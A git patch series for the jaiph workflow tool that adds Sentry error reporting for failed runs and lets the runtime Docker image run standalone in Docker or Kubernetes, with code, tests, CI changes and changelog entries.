nothing", async () => { + const out = await captureStderr(() => + reportRunFailureToSentry({ runDir: "/nonexistent", workflow: "default", exitStatus: 1, signal: null, env: {} }), + ); + assert.equal(out.length, 0); +}); + +test("reportRunFailureToSentry: a failed run with a malformed DSN warns exactly once and does not send", async () => { + const out = await captureStderr(() => + reportRunFailureToSentry({ + runDir: "/nonexistent", + workflow: "default", + exitStatus: 1, + signal: null, + env: { SENTRY_DSN: "https://host/1" }, + }), + ); + assert.equal(out.length, 1, "exactly one warning line"); + assert.match(out[0], /malformed SENTRY_DSN/); +}); diff --git a/src/cli/telemetry/sentry.ts b/src/cli/telemetry/sentry.ts new file mode 100644 index 00000000..314a79d9 --- /dev/null +++ b/src/cli/telemetry/sentry.ts @@ -0,0 +1,210 @@ +/** + * Sentry error reporting for a failed run. + * + * Fires host-side, after a run reaches an *unsuccessful* terminal state, from + * the shared post-run telemetry hook (`exportRunTelemetry` in `otlp.ts`) — never + * inside the runtime/emitter and never across the sandbox boundary. Successful + * runs send nothing. Enabled iff `SENTRY_DSN` is set. + * + * The event is built entirely from the run's `run_summary.jsonl`, which is + * already credential-redacted and host-visible in every sandbox mode, so a + * secret in step output reaches Sentry only as `[REDACTED]`. The raw per-step + * capture files are never read. + * + * Zero runtime dependencies: a single hand-rolled Sentry *envelope* POST over + * the shared timeout-guarded HTTP helper. Never load-bearing — an unreachable + * or erroring Sentry, a malformed DSN, or a timeout produces exactly one stderr + * warning and never touches the run's exit code, output, or journal. No retries. + */ +import { existsSync, readFileSync } from "node:fs"; +import { basename, join } from "node:path"; +import { VERSION } from "../../version"; +import { postWithTimeout } from "./http"; +import type { ExportRunTelemetryOptions } from "./otlp"; + +/** 10 s hard cap on the envelope POST, matching the OTLP exporter. */ +const SEND_TIMEOUT_MS = 10_000; + +type JournalEvent = Record; + +/** A parsed DSN: where to POST and the auth header to send. */ +export interface SentryDsn { + endpoint: string; + authHeader: string; +} + +/** Metadata the pure event builder needs beyond the journal lines themselves. */ +export interface SentryEventMeta { + /** Root workflow symbol (`default` for `jaiph run`, the tool symbol for MCP). */ + workflow: string; + /** Child exit status; part of the failure message when no signal. */ + exitStatus: number; + /** Terminating signal, when the run was killed; wins over exit code in the message. */ + signal: string | null; + /** Absolute host run directory, surfaced as `extra.run_dir`. */ + runDir?: string; + /** `release` field — `SENTRY_RELEASE` or `jaiph@`. */ + release: string; + /** `environment` field — set only when `SENTRY_ENVIRONMENT` is present. */ + environment?: string; +} + +function asString(v: unknown): string { + return typeof v === "string" ? v : ""; +} + +/** + * Parse a Sentry DSN `https://@/` into the envelope + * endpoint `https:///api//envelope/` and the `X-Sentry-Auth` + * header value. Returns null for any malformed DSN (missing key, unparseable + * URL, or a non-single-segment project id) — the caller warns once and sends + * nothing. + */ +export function parseSentryDsn(dsn: string): SentryDsn | null { + let url: URL; + try { + url = new URL(dsn.trim()); + } catch { + return null; + } + const key = url.username; + const projectId = url.pathname.replace(/^\/+/, "").replace(/\/+$/, ""); + if (!key || !url.hostname || !projectId || projectId.includes("/")) return null; + const portSuffix = url.port ? `:${url.port}` : ""; + const endpoint = `${url.protocol}//${url.hostname}${portSuffix}/api/${projectId}/envelope/`; + const authHeader = `Sentry sentry_version=7, sentry_key=${key}, sentry_client=jaiph/${VERSION}`; + return { endpoint, authHeader }; +} + +function parseJournal(lines: string[]): JournalEvent[] { + const events: JournalEvent[] = []; + for (const line of lines) { + const trimmed = line.trim(); + if (trimmed.length === 0) continue; + try { + events.push(JSON.parse(trimmed) as JournalEvent); + } catch { + // A malformed line never blocks the report — telemetry is best-effort. + } + } + return events; +} + +/** + * Map journal lines + run metadata to a Sentry event payload. + * + * Pure: `event_id` is the run id UUID with dashes stripped; the failing step is + * the first `STEP_END` with a nonzero status; its redacted `err_content` (else + * `out_content`) excerpt becomes `extra.failing_step_detail`. `fingerprint` + * groups re-occurrences per workflow + failing step. + */ +export function buildSentryEvent(lines: string[], meta: SentryEventMeta): Record { + const events = parseJournal(lines); + const runId = asString(events.find((e) => typeof e.run_id === "string")?.run_id); + const eventId = runId.replace(/-/g, ""); + const timestamp = asString(events[events.length - 1]?.ts) || asString(events[0]?.ts); + const wf = + events.find((e) => e.type === "WORKFLOW_START") ?? events.find((e) => e.type === "WORKFLOW_END"); + const source = asString(wf?.source); + + // First failed step (nonzero STEP_END status) — the run's proximate failure. + const failing = events.find( + (e) => e.type === "STEP_END" && typeof e.status === "number" && e.status !== 0, + ); + const stepKind = failing ? asString(failing.kind) : ""; + const stepName = failing ? asString(failing.name) : ""; + const detail = failing + ? asString(failing.err_content).trim() || asString(failing.out_content).trim() + : ""; + + const message = meta.signal + ? `workflow ${meta.workflow} terminated by signal ${meta.signal}` + : `workflow ${meta.workflow} failed (exit ${meta.exitStatus})`; + + const tags: Record = { "jaiph.workflow": meta.workflow }; + if (source) tags["jaiph.source"] = basename(source); + if (stepKind) tags["jaiph.step.kind"] = stepKind; + if (stepName) tags["jaiph.step.name"] = stepName; + + const extra: Record = {}; + if (detail) extra.failing_step_detail = detail; + if (meta.runDir) extra.run_dir = meta.runDir; + + const event: Record = { + event_id: eventId, + timestamp, + platform: "node", + level: "error", + message: { formatted: message }, + tags, + extra, + fingerprint: ["jaiph", meta.workflow, stepName || "unknown"], + release: meta.release, + }; + if (meta.environment) event.environment = meta.environment; + return event; +} + +/** + * Frame a Sentry envelope: an envelope header line (`event_id` + `sent_at`), an + * item header line (`type: event`), and the event JSON — three newline-separated + * JSON documents. + */ +export function buildEnvelope(event: Record, sentAt: string): string { + const header = JSON.stringify({ event_id: event.event_id, sent_at: sentAt }); + const itemHeader = JSON.stringify({ type: "event" }); + const body = JSON.stringify(event); + return `${header}\n${itemHeader}\n${body}`; +} + +/** + * Report a failed run to Sentry from the shared post-run hook. No-op on success + * (only nonzero exit / a signal reports) and when `SENTRY_DSN` is unset. Any + * transport/HTTP/DSN failure produces exactly one stderr warning and nothing + * else — the run's exit code and output are untouched. + */ +export async function reportRunFailureToSentry(opts: ExportRunTelemetryOptions): Promise { + const { runDir, workflow, exitStatus, signal, env } = opts; + + // Fire only on an unsuccessful terminal state — successful runs send nothing. + const runFailed = exitStatus !== 0 || signal != null; + if (!runFailed) return; + + const dsnRaw = env.SENTRY_DSN?.trim(); + if (!dsnRaw) return; // disabled + + const dsn = parseSentryDsn(dsnRaw); + if (!dsn) { + process.stderr.write("jaiph: Sentry error report skipped — malformed SENTRY_DSN\n"); + return; + } + + if (!runDir) return; + const summaryFile = join(runDir, "run_summary.jsonl"); + if (!existsSync(summaryFile)) return; + let lines: string[]; + try { + lines = readFileSync(summaryFile, "utf8").split("\n"); + } catch { + return; + } + if (lines.every((l) => l.trim().length === 0)) return; + + const release = env.SENTRY_RELEASE?.trim() || `jaiph@${VERSION}`; + const environment = env.SENTRY_ENVIRONMENT?.trim() || undefined; + const event = buildSentryEvent(lines, { workflow, exitStatus, signal, runDir, release, environment }); + const envelope = buildEnvelope(event, new Date().toISOString()); + + try { + await postWithTimeout( + dsn.endpoint, + envelope, + { "content-type": "application/x-sentry-envelope", "x-sentry-auth": dsn.authHeader }, + SEND_TIMEOUT_MS, + ); + } catch (err) { + process.stderr.write( + `jaiph: Sentry error report failed — ${err instanceof Error ? err.message : String(err)}\n`, + ); + } +} From 1854524e0de36e5be0b867a4ff47707786f32a52 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 10:11:54 +0200 Subject: [PATCH 05/24] Feat: support running the runtime image standalone in docker/k8s The ghcr.io/jaiphlang/jaiph-runtime image already bundles jaiph and the claude/cursor/codex backends, but it was only usable as a sandbox rootfs orchestrated by a host jaiph process. Running it directly failed because jaiph defaults to Docker sandboxing on Linux and there is no daemon inside the container. Bake ENV JAIPH_UNSAFE=true into runtime/Dockerfile so the container acts as its own sandbox in host mode; the inner `jaiph run --raw` invocation never launches Docker, so host-orchestrated sandbox behavior is unchanged (pinned by test). When jaiph would launch Docker but the CLI is missing and a container indicator (/.dockerenv or /run/.containerenv) is present, the error now tells the user to set JAIPH_UNSAFE=true. Add docs/deploy.md (one-shot docker run, CI note, Kubernetes) with a real docs/deploy/k8s.yaml manifest and an explicit no-jaiph-sandbox security posture, linked from README, sandboxing, and setup docs. Add a gated standalone-image e2e smoke test and a kubectl dry-run manifest gate in CI. Co-Authored-By: Claude Opus 4.8 (1M context) --- .github/workflows/ci.yml | 15 ++++ CHANGELOG.md | 4 + QUEUE.md | 31 ------- README.md | 3 +- docs/_layouts/docs.html | 1 + docs/deploy.md | 84 +++++++++++++++++++ docs/deploy/k8s.yaml | 125 +++++++++++++++++++++++++++++ docs/env-vars.md | 2 +- docs/index.html | 6 ++ docs/sandboxing.md | 1 + docs/setup.md | 1 + e2e/test_all.sh | 1 + e2e/tests/148_standalone_image.sh | 54 +++++++++++++ runtime/Dockerfile | 10 +++ src/runtime/docker-inplace.test.ts | 46 +++++++++++ src/runtime/docker-inplace.ts | 13 +++ src/runtime/docker.test.ts | 49 +++++++++++ src/runtime/docker.ts | 31 +++++++ 18 files changed, 444 insertions(+), 33 deletions(-) create mode 100644 docs/deploy.md create mode 100644 docs/deploy/k8s.yaml create mode 100755 e2e/tests/148_standalone_image.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2f779f39..615110da 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -32,6 +32,21 @@ jobs: VERSION="$(node -p "require('./package.json').version")" git ls-remote --exit-code https://github.com/jaiphlang/jaiph.git "refs/tags/v${VERSION}" + k8s-manifest: + name: Validate Kubernetes deploy manifest + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + # `kubectl apply --dry-run=client` still needs an API server for resource + # discovery (RESTMapper), so provision a throwaway kind cluster for it. + - name: Create kind cluster + uses: helm/kind-action@v1 + + - name: Dry-run apply the standalone deploy manifest + run: kubectl apply --dry-run=client -f docs/deploy/k8s.yaml + e2e: name: E2E (${{ matrix.os }}, ${{ matrix.label }}) runs-on: ${{ matrix.os }} diff --git a/CHANGELOG.md b/CHANGELOG.md index 16ff218f..0c39e5ff 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,8 +8,12 @@ - **Report failed runs to Sentry:** a run that terminates *unsuccessfully* (nonzero exit or a signal) is now pushed to a Sentry error tracker as one error event — enabled by the standard `SENTRY_DSN` — so operators running workflows on a schedule or as a service get alerting and grouping without scraping run directories. The event carries the workflow, the failing step, a credential-redacted output excerpt, and a run-dir pointer, and groups re-occurrences per workflow + failing step. Like trace export it is host-side, end-of-run, adds no runtime dependencies, and is never load-bearing: an unreachable or erroring Sentry produces exactly one stderr warning and leaves the run's exit code and output untouched. Successful runs send nothing. +- **Run the runtime image standalone:** the published `ghcr.io/jaiphlang/jaiph-runtime` image now bakes `JAIPH_UNSAFE=true`, so you can run it directly — `docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh`, or as a Kubernetes pod — with no host jaiph process and no Docker daemon inside the container. The story is "put credentials + jaiph files and run it": inside the image the container *is* the sandbox, so host-mode execution is the correct default and there is no jaiph-managed isolation (workspace content policy is the operator's responsibility). Host-orchestrated sandbox behavior is unchanged. A new [Deploy the runtime image standalone](docs/deploy.md) how-to and an apply-ready `docs/deploy/k8s.yaml` manifest cover `docker run`, CI, and Kubernetes, including the no-jaiph-sandbox security posture. + ## All changes +- **Feat — standalone runtime image: run jaiph in Docker/Kubernetes without a host orchestrator:** The published `ghcr.io/jaiphlang/jaiph-runtime` image (`runtime/Dockerfile`) already contained `jaiph`, the claude/cursor/codex backends, and a full toolchain, but it was only ever used as a *sandbox rootfs orchestrated by a host jaiph process*; running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) failed because jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. The image now **bakes `ENV JAIPH_UNSAFE=true`** (with a rationale comment: inside the image the container *is* the sandbox, so host-mode execution is correct and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod), so the "put credentials + jaiph files and run it" story works on every build. **Host-orchestrated sandbox behavior is unchanged:** no `ENTRYPOINT` is added and `WORKDIR` is untouched (the host passes an explicit command argv that a prefix would corrupt), and the container-inner invocation the host uses is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` — the full Docker e2e suite stays green with the ENV present. New `src/runtime/docker.ts` seams back the standalone story: an injectable `_containerIndicator.present()` (true when `/.dockerenv` — Docker — or `/run/.containerenv` — Podman / CRI — exists) and `isRunningInContainer()`; `checkDockerAvailable()` now, when Docker is unavailable **and** a container indicator is present, throws `E_DOCKER_NOT_FOUND … jaiph is running inside a container already. Set JAIPH_UNSAFE=true to run in host mode (the container is the sandbox). See https://jaiph.org/deploy` (covering users of derived images without the baked ENV) — with no indicator the original "Install Docker …" error is unchanged. `confirmUnsafeRun` (`src/runtime/docker-inplace.ts`) now, inside a container, proceeds with a one-line stderr notice (`running host-only inside a container (the container is the sandbox)`) instead of prompting or aborting `E_UNSAFE_NO_CONFIRM` — mirroring the win32 host-only override — which is what lets an unattended pod run. No new `JAIPH_*` env vars. Tests: `src/runtime/docker.test.ts` (indicator present → the container guidance with `JAIPH_UNSAFE=true`; indicator absent → the install-Docker error verbatim), `src/runtime/docker-inplace.test.ts` (in-container non-TTY without auto-confirm proceeds without opening a prompt and prints the notice; on a host the same conditions still throw `E_UNSAFE_NO_CONFIRM`), and a gated `e2e/tests/148_standalone_image.sh` (wired into `e2e/test_all.sh`) that runs the built image standalone on a fixture `hello.jh` with **no** `-e JAIPH_UNSAFE` and no Docker daemon inside, asserting the `return` value round-trips to `return_value.txt` and exit `0` — proving host mode comes purely from the baked ENV. CI: a new `k8s-manifest` job in `.github/workflows/ci.yml` provisions a throwaway kind cluster and runs `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` on every build. Docs: new [Deploy the runtime image standalone](docs/deploy.md) how-to (one-shot `docker run` with the claude/cursor/codex credential variants, a CI note pointing at the pattern `nightly-engineer.yml` uses, Kubernetes, and a plainly-stated **no-jaiph-sandbox security posture** — isolation is the container/pod boundary and workspace content policy is the operator's responsibility), an apply-ready `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials and `JAIPH_SERVE_TOKEN` + Service, `jaiph serve --host 0.0.0.0` with `/healthz` liveness/readiness probes, tag-pinning / TLS-via-ingress / resource-request guidance), links from README, [Sandboxing](docs/sandboxing.md), and [Install & switch versions](docs/setup.md), an updated `JAIPH_UNSAFE` row in [Environment variables](docs/env-vars.md) noting the image bakes it, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23` — "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … it can't depend on a local machine + docker".) + - **Feat — OTLP trace export: one span tree per run, zero dependencies:** A completed run now exports as an OpenTelemetry trace to any OTLP/HTTP collector (a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog), so operators running workflows in CI or as a service get a per-run latency breakdown and failure signal in a standard observability stack instead of only the local run dir. Export is **host-side and end-of-run**, in the new `src/cli/telemetry/otlp.ts` (zero runtime dependencies — a `node:https`/`node:http` request is the whole transport): after a run reaches terminal state the CLI reads *that run's* `run_summary.jsonl` and posts one trace. Nothing new crosses the sandbox boundary and no `OTEL_*` variable is forwarded into the container — the journal is complete (it carries the `WORKFLOW_*`/`PROMPT_*` records the live stderr stream omits), already credential-redacted by `RuntimeEventEmitter`, and host-visible in every sandbox mode (the run dir is a host mount); runs are minutes long, so end-of-run batching is the normal OTLP pattern anyway. The pure `runSummaryToOtlp(lines, meta)` maps journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`: **trace id** = the run-id UUID with dashes stripped (32 hex, per the spec's JSON mapping), **span id** = first 16 hex of `sha256()` — deterministic, so re-exporting a run yields byte-identical ids. One **root span** `workflow ` per run (`WORKFLOW_START`→`WORKFLOW_END` timestamps, falling back to first/last event `ts`; status `ERROR` when the run exits nonzero or a signal killed it, else `OK`; each `LOGERR`/`LOGWARN` becomes a span event on it); one **step span** per `STEP_START`/`STEP_END` pair matched by event `id`, parented via `parent_id` (root when null), `kind: SPAN_KIND_INTERNAL`, attributes `jaiph.step.{kind,func,name,seq,depth,status,elapsed_ms}` plus the redacted `jaiph.step.out`/`jaiph.step.err` captures, span status `ERROR` on a nonzero step status; **prompt spans** as children of their `step_id` with `jaiph.prompt.{backend,model,status}`. A `STEP_START` with no matching `STEP_END` (a crash) closes at the last event's `ts` with status `ERROR`; ISO `ts` → `timeUnixNano` strings. Resource attributes: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), the `OTEL_RESOURCE_ATTRIBUTES` pairs, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. **Enablement is standard OTEL env — no new `JAIPH_*`:** export runs iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set (traces-specific wins when both are); `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) is applied; only `http/json` is spoken — any other `OTEL_EXPORTER_OTLP_PROTOCOL` (e.g. `grpc`) warns on stderr and skips rather than mis-speak a protocol. A single shared hook `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})` fires at every host terminal state — `jaiph run` completion (`reportResult` in `src/cli/commands/run.ts`) and the shared workflow-call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and `jaiph serve` invocation) — one choke point covering host, Docker snapshot, and inplace modes. **Telemetry is never load-bearing:** an unreachable or erroring collector (or the 10 s timeout) produces exactly one stderr warning line and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/otlp.test.ts` (fixture journals — trace id from run id, step parenting per `parent_id`, prompt child of `step_id` with backend/model, failed step → span status 2, nonzero exit → root status 2, ISO→nano strings, unmatched `STEP_START` closes ERROR at the last event time, deterministic ids across two invocations; endpoint-resolution precedence, header parsing, `http/json`-only guard) and `integration/otlp-export.test.ts` (a fake collector receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set, and nothing with no OTEL env; a `500` and a connection-refused collector each leave exit `0` with exactly one stderr warning; a shared-call/MCP invocation triggers exactly one export per call; a credential echoed in step output appears in the payload only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: new [Export traces to an OTLP collector](observability.md) how-to, a "Telemetry variables" section in [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — "OTEL + Sentry configurable would be the easiest way".) - **Feat — Sentry error reporting on failed runs, zero dependencies:** A run that reaches an *unsuccessful* terminal state (nonzero exit or a terminating signal) is now reported to a Sentry error tracker as one **error event**, so teams running jaiph workflows on schedules or as a service (CI, Kubernetes) get failures pushed to their tracker with enough context to triage — instead of only a local run dir and a nonzero exit code. The new `src/cli/telemetry/sentry.ts` (zero runtime dependencies — a hand-rolled Sentry **envelope** POST is the whole transport) fires from the **same host-side, end-of-run choke point** that exports OTLP traces: the shared `exportRunTelemetry` hook (`src/cli/telemetry/otlp.ts`) now dispatches two independent, best-effort exporters — OTLP traces (every run, when a collector is set) and the Sentry report (**failed runs only**, when `SENTRY_DSN` is set) — so `jaiph run` completion and every workflow invoked through `jaiph mcp` / `jaiph serve` are all covered by one path. **Successful runs send nothing.** The timeout-guarded POST was extracted into a shared `src/cli/telemetry/http.ts` (`postWithTimeout`, `node:http`/`node:https`) that both exporters reuse. **Enablement is a standard Sentry DSN — no new `JAIPH_*`:** reporting is on iff `SENTRY_DSN` is set; the pure `parseSentryDsn` maps `https://@/` to the envelope endpoint `https:///api//envelope/` and the `X-Sentry-Auth: Sentry sentry_version=7, sentry_key=, sentry_client=jaiph/` header (a non-default port is preserved), and a malformed DSN produces exactly one stderr warning and no send. The pure `buildSentryEvent(lines, meta)` maps the run's `run_summary.jsonl` lines + `{workflow, exitStatus, signal, runDir, release, environment}` to the event, sourced **entirely from `run_summary.jsonl`** — already credential-redacted by `RuntimeEventEmitter`, never the raw `.out`/`.err` captures — so a secret in step output reaches Sentry only as `[REDACTED]`: **`event_id`** = the run-id UUID with dashes stripped; `timestamp`; `platform: node`; `level: error`; **`message.formatted`** = `workflow failed (exit N)`, or `terminated by signal S` (the signal wins over the exit code); **`tags`** `jaiph.workflow`, `jaiph.source` (source file basename), and the first failing `STEP_END`'s `jaiph.step.kind` / `jaiph.step.name` when known; **`extra`** `failing_step_detail` (that step's redacted `err_content`/`out_content` excerpt) and `run_dir`; **`fingerprint`** `["jaiph", , ]`, so re-occurrences group per workflow + failing step; **`release`** from `SENTRY_RELEASE` or `jaiph@`, and **`environment`** from `SENTRY_ENVIRONMENT` when set. `buildEnvelope` frames the body as three newline-separated JSON documents — an envelope header (`event_id` + `sent_at`), an item header (`type: event`), and the event JSON. **Never load-bearing:** an unreachable or erroring Sentry, a non-2xx status, or the 10 s timeout produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/sentry.test.ts` (DSN endpoint + auth header, non-default port preserved, malformed → null/no-send; `event_id` matches the run-id hex; exit-code vs signal message, fingerprint, tags, and redacted-source excerpt; environment included only when set; no-failing-step → `unknown` fingerprint tail and no step tags; envelope framing as three JSON documents; a successful run and a failed run without a DSN send and warn nothing, a malformed DSN warns exactly once) and `integration/sentry-export.test.ts` (a fake Sentry HTTP server — a failing `jaiph run` with `SENTRY_DSN` delivers exactly one envelope carrying the failing step tag and redacted excerpt; a succeeding run and a failing run **without** `SENTRY_DSN` deliver nothing; a `500` and a connection-refused Sentry each leave the exit code at the no-DSN baseline with exactly one stderr warning; a credential echoed in the failing step's output reaches the delivered event only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: a new [Report failed runs to Sentry](observability.md#report-failed-runs-to-sentry) section in [Export traces to an OTLP collector](observability.md), `SENTRY_DSN` / `SENTRY_ENVIRONMENT` / `SENTRY_RELEASE` rows in the telemetry section of [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — the Sentry half of "OTEL + Sentry configurable".) diff --git a/QUEUE.md b/QUEUE.md index cc375b37..64f890c3 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,34 +13,3 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** - -## Feat: standalone runtime image — run jaiph in docker/k8s without a host orchestrator #dev-ready - -**Source:** Deployability feedback (2026-07-23): "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … that would allow anyone to run jaiph in docker/kubernetes" — and "it can't depend on a local machine + docker". - -**Problem:** `ghcr.io/jaiphlang/jaiph-runtime` (`runtime/Dockerfile`) already contains jaiph plus the claude/cursor/codex backends and a full toolchain, but it is only ever used as a sandbox rootfs *orchestrated by a host jaiph process*. Running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) fails the wrong way: jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. There is also zero documentation for deploying the image as the runner itself, even though `.github/workflows/nightly-engineer.yml` proves jaiph works headless on a bare Linux box. - -**Required behavior:** - -* **Bake `ENV JAIPH_UNSAFE=true` into `runtime/Dockerfile`** with a comment stating the rationale: *inside this image, the container is the sandbox* — host-mode execution is the correct default, and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod. Verify and pin by test that this does not change host-orchestrated sandbox behavior: the container-inner invocation is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` (the existing Docker e2e suite must stay green with the ENV present). -* Do **not** add an `ENTRYPOINT` and do not change `WORKDIR`: the host-orchestrated sandbox passes an explicit command argv, and an entrypoint prefix would corrupt it. Standalone usage spells the full command (`docker run … ghcr.io/jaiphlang/jaiph-runtime jaiph run /work/flow.jh`). -* When jaiph would launch Docker but the CLI is unavailable **and** a container indicator is present (`/.dockerenv` or `/run/.containerenv`), the error message must say precisely what to do: running inside a container already — set `JAIPH_UNSAFE=true` (host mode; the container is the sandbox). This covers users of derived images without the baked ENV. -* New `docs/deploy.md` (how-to, linked from README, `docs/sandboxing.md`, and `docs/setup.md`): - * one-shot: `docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh` (and the cursor/codex credential variants — `CURSOR_API_KEY`, `OPENAI_API_KEY`); - * CI usage note pointing at the pattern `nightly-engineer.yml` already uses; - * Kubernetes: a real manifest file `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials + Service; liveness/readiness probes; image tag pinning note; TLS-via-ingress note; resource-request guidance — agent workloads are CPU/memory hungry). If `jaiph serve` exists in the codebase when this task is implemented, the manifest runs `jaiph serve --host 0.0.0.0` with `JAIPH_SERVE_TOKEN` from the Secret and probes `/healthz`; otherwise the manifest demonstrates a long-lived workflow runner and the doc says the HTTP surface is queued. - * A plainly-stated security paragraph: in standalone mode there is **no** jaiph-managed sandbox — isolation is whatever the deployment provides (the container/pod boundary), and workspace content policy (gitignored secrets etc.) is the operator's responsibility, unlike the host-orchestrated snapshot sandbox. -* CI smoke test (job in `.github/workflows/ci.yml` on the built image, or a gated e2e in `e2e/tests/` where the image is available): run the image standalone with `docker run` executing a fixture workflow that writes a `return` value; assert the value round-trips and exit code 0 — proving the "put credentials + jaiph files and run it" story on every build. -* Manifest validity gate: `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` (kubectl is on GitHub runners) runs in CI and passes. -* No new `JAIPH_*` env vars expected; any introduced must get `docs/env-vars.md` rows (parity lint). Update the `JAIPH_UNSAFE` row to mention the image bakes it. - -Acceptance: - -* CI (or gated e2e) smoke test: `docker run --rm -v :/work -w /work jaiph run hello.jh` exits 0 and produces the expected return value, with no Docker daemon available inside the container. -* The full existing Docker-sandbox e2e suite passes against the image with the baked `ENV JAIPH_UNSAFE=true` (host-orchestrated behavior unchanged). -* Unit test for the container-detection error path: docker unavailable + `/.dockerenv` present (injectable check) yields the "container is the sandbox → set JAIPH_UNSAFE=true" message; without the indicator, the existing error is unchanged. -* `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` passes in CI. -* `docs/deploy.md` exists, is linked from README + `docs/sandboxing.md` + `docs/setup.md`, and documents the no-jaiph-sandbox security posture explicitly. -* `npm test` and `npm run test:e2e` pass. - -*** diff --git a/README.md b/README.md index 3d5f4739..8917d949 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [jaiph.org](https://jaiph.org) · [Your first workflow](docs/first-workflow.md) · [Your first agent + sandboxed run](docs/first-agent-run.md) · [Install & switch versions](docs/setup.md) · [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md) · [Architecture](docs/architecture.md) · [CLI](docs/cli.md) · [Contributing](docs/contributing.md) -> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md), [Serve workflows over HTTP](docs/serve.md), [Export traces to an OTLP collector](docs/observability.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). +> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md), [Serve workflows over HTTP](docs/serve.md), [Export traces to an OTLP collector](docs/observability.md), [Deploy the runtime image standalone](docs/deploy.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). --- @@ -30,6 +30,7 @@ - **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs ([Serve workflows over HTTP](docs/serve.md)). - **OpenTelemetry** — set the standard `OTEL_EXPORTER_OTLP_ENDPOINT` and each run exports one span tree (workflow → steps → prompts) to any OTLP collector — 